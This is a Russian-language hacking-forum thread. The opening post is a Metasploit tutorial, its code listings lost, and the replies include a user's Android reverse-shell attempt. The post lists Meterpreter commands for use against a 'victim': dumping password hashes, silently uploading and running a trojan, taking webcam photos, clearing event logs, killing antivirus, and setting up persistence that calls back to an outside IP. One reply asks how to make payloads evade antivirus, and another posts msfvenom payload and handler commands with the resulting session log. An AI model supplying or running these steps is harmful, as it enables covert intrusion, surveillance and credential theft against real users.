![]() |
Всем привет. Пришлось позаморачиваться с метасплоитоми решил сделать несколько заметочек.
Я не буду в миллионный раз повторять, то, что уже написано на форуме о метасплоите. Что это почитать можно здесь и ещё огромная куча тем. В данной статье я пользовался поиском и старался писать о том о чем еще не написано здесь. Далее ссылочки из трёх книженций откуда впринципе и взята эта информация METASPLOIT UNLEASHED Metasploit Penetration Testing Cookbook Metasploit The Penetration Tester’s Guide Для кого статья? В первую очередь для меня. =) А так же всем тем, кто уже знаком с фреймворком, хотя гуру врядли для себя что - то найдут. Поехали. Метасплоит это в первую очередь фабрика сплоитов, средство которое позволяет создавать и использовать свои сплоиты (запуск уже готовых это меньшее, что он может). Поэтому всё что есть в нём можно использовать и без него. Для примера вот отличная статья эксплоита Buffer over Flow (позже напишем и об этом что - нибудь). msfcli - довольно удобная штука, когда одно действие приходится запускать часто (у меня это запуск листенера) Традиционный способ Код:
Code:Код:
Code:Едем дальше SETG- очень удобная команда когда мы хотим раз и навсегда (на всё время работы с метасплоитом) установить какие то значения LHOST, LPORT, PAYLOAD, ENCODER и т.п. Код:
Code:фреймворков), но в некоторых случаях помочь может хотя бы от тех кто захочет полезть в Ваш билд или слушать сокет. -> show encoders -Список активных енкодеров В основном их названия говорят за себя Код:
Code:Код:
Code:-> show auxiliary Здесь есть практический всё, и smb_scan, и portscan, и pivoting. Эта категория содержит в себе не совсем сплоиты а скорее вспомогательные модули, для разведки, фазинга, брутфорса и т.п. Однако значительную долю умеет тот же nmap и другие более легковестные вещи. Поэтому я не увидел применения например auxiliary(posrtscan) когда есть старый добрый db_nmapсо всеми возможностями, плюс добавления в базу метасплоита, но есть и интересные вещи например "admin/cisco/ios_http_auth_bypass". Заострять внимание на этом не будем. Очень советую вспоминать об этом; -> show payloads- Вывод всех полезных нагрузок. Конечно большинство из нас привыкло к старому доброму метрпретеру и это оправдано. Шел с огромной кучей возможностей, достаточно удобный и лаконичный, но иногда нужно что то более легковесное или под другую архитектуру. Виды payloads. Single- одиночное выполнение любой команды (например на языке C# Process.Start("calc.exe") - вызов калькулятора). Stagers (windows/shell_bind_tcp) - Во первых этот тип пэйлоадов более легковесный, соответственно более надежный (держать включенной сессию ncat куда проще чем сессию метерпретер), меньший риск потери соединения. Stages- Наиболее тяжелые нагрузки, здесь же наш могучий метрпретер, суть этого вида нагрузок, что он загружается не сразу весь а поэтапно, имеет как правило обширный функционал(meterpreter). К недостаткам можно отнести большой объем занимаемой оперативной памяти. Генерация payload(полезно, когда надо использовать в своем коде) Код:
Code:Далее поговорим о метерпретере(хотя это всё это можно проделать и не только в нём); Мы получили доступ к системе, всё очень здорово, и какие дальнейшие шаги можно предпринять? hashdump- Старый добрый файл SAM migrate- Первое с чего лично я начинаю (а точнее уже автоматизировал сей процесс) - это миграция. Процесс теперь не висит сам по себе, а выглядит как отдельный поток, прилепившейся к другому процессу. И может стать не убиваемым. shell- Переход в командный режим uploadevil_trojan.exe c:\\windows\\system32 - Как Вы догодались отправка файлать мигра execute -f evil_trojan.exe -i -H - а затем его выполнение webcam_snap -i 1 -v false - Сфоткаемся на вебку. где i- время ожидания в секундах clearev- Очистить журнал use sniffer - снииффер трафика. sniffer_start 1 - запуск сниффера с активной сетевой карты sniffer_dump - снять полученные пакеты route add 10.211.55.0 255.255.255.0 1 - Добавить маршрут, полезно для того чтобы бегать от сети к сети run checkvm - А вот как раз узнать находимся ли мы на виртуалке. run getcountermeasure - проверка на защищенность системы, может даже что и удастся отрубить(фаерволл, антивирь). run killav- убийца антивирусов. run getgui- Включает (а точнее пытается) включить rdp'шечку run gettelnet- без комментариев run get_local_subnets- получить имя подсети run hostsedit -e 10.211.55.162,www.microsoft.com, известный факт, что первое куда смотрит компьютер, чтобы получить ip доменного имени - это файл hosts, и только если там нет обращается к серверу. Что с этим делать вариантов много. run remotewinenum - Сборщик информации О СИСТЕМЕ run scraper - ЕЩЁ БОЛЬШЕ ИНФОРМАЦИИ О СИСТЕМЕ run metsvc - примитивный бэкдор, постоянно отваливается, а за NAT'ом вообще не работает. run persistence -U -i 5 -p 1342 -r 62.102.1.1 - вот это штука заставляет жертву подключаться к вам каждые 5 секунд. portfwd add -l 80 -p 80 -r 192.168.0.101 - Проброс нужных нам портов с другого хоста подсети. И это не всё. Список всех пост модулей можно глянуть командой show posts Как же нам сгенерировать свою полезную нагрузку? Код:
Code:Автоматическая подгрузка сценариев: Итак, допустим, мы хотим, чтобы при получении сессии сразу выполнялось повышение привелегий на атакуемой Windows машине через известный сплоит bypass_uac Без лишних слов, просто как это сделать: Код:
Code:Альтернативная переменная InitialAutoRunScript, которой просто нужно дать команду для пост эксплуатации. Пример: set InitialAutoRunScript 'migrate -f' Свои сценарии Пришло время автоматизировать процесс и написать свой сценарий для метрпретера. Существует возможность загнать в файл уже заранее известный алгоритм команд метасплоита и выполнить его с помощью rc скриптов. Причем такие скрипты могут включать в себя как код на руби (свои какие то действия), так и возможности метаплоита. Попробуем создать файл scanner.rc (так как я не спецаилист руби, то пример взят отсюда http://lockboxx.blogspot.ru/2013/06/...-resource.html) Выглядит скрипт руби так Код:
Code:Другой листинг Код:
Code:База данных метасплоита После создания подключения к базе данных первое что мы можем сделать проверить статус командой db_status. Рассмотрим основные действия в базе: workspace- отдельное хранилище. Именно воркспейсы хранят в себя отдельные результаты сканирования сети или подсети. workspace lab1 - переключает текущее рабочее пространство на lab1; workspace -a laba1- создание рабочей области (сохраняет все результаты сканирования сохранены здесь) db_nmapдобавить в базу хост с помощью сканера nmap (об этом можно почитать здесь) hosts- Выводить информацию о хостах в различном виде; services- Выводить информацию о сервисах в различном виде; loot- сохранение дампа хэш-файла операционной системы Далее поговорим о Карметасплоите, wmap (устаревший модуль для сканирования веб приложений), интеграция с nessus, nexpose, beef, empire и созданию своих сплоитов (не зеро дей )))). Всем спасибо! Недочеты и аргументированная критика есть гуд. |
Очень позновательный топик...
У меня вопрос к ТС'у , есть ли какие комбинации енкодера которые не палятся антивирем? Увиличивал кол-во интераций один фиг удаляется... |
Цитата:
|
Спасибо, буду изучать.
|
в общем вроде делаю всё по сценарию:
ОС Kali 2 мой_ip=192.168.0.103 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=8080 R > /var/www/shell.apk msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 192.168.0.103 set lport 8080 exploit собственно потом вижу это: [*] Started reverse TCP handler on 192.168.0.103:8080 [*] Starting the payload handler... [*] Sending stage (63194 bytes) to 192.168.0.100 [*] Meterpreter session 1 opened (192.168.0.103:8080 -> 192.168.0.100:54636) at 2017-01-04 15:46:03 +0000 [*] 192.168.0.100 - Meterpreter session 1 closed. Reason: Died [-] Invalid session identifier: 1 интересны возможные причины и способы их обойти/устранить |
Отваливается сессия. Причин тому может быть много. Попробуй с AutoRun поиграться.
|
Цитата:
не совсем понятно когда выполнять данную операцию |
Цитата:
|
Цитата:
|
Цитата:
|
| Время: 04:51 |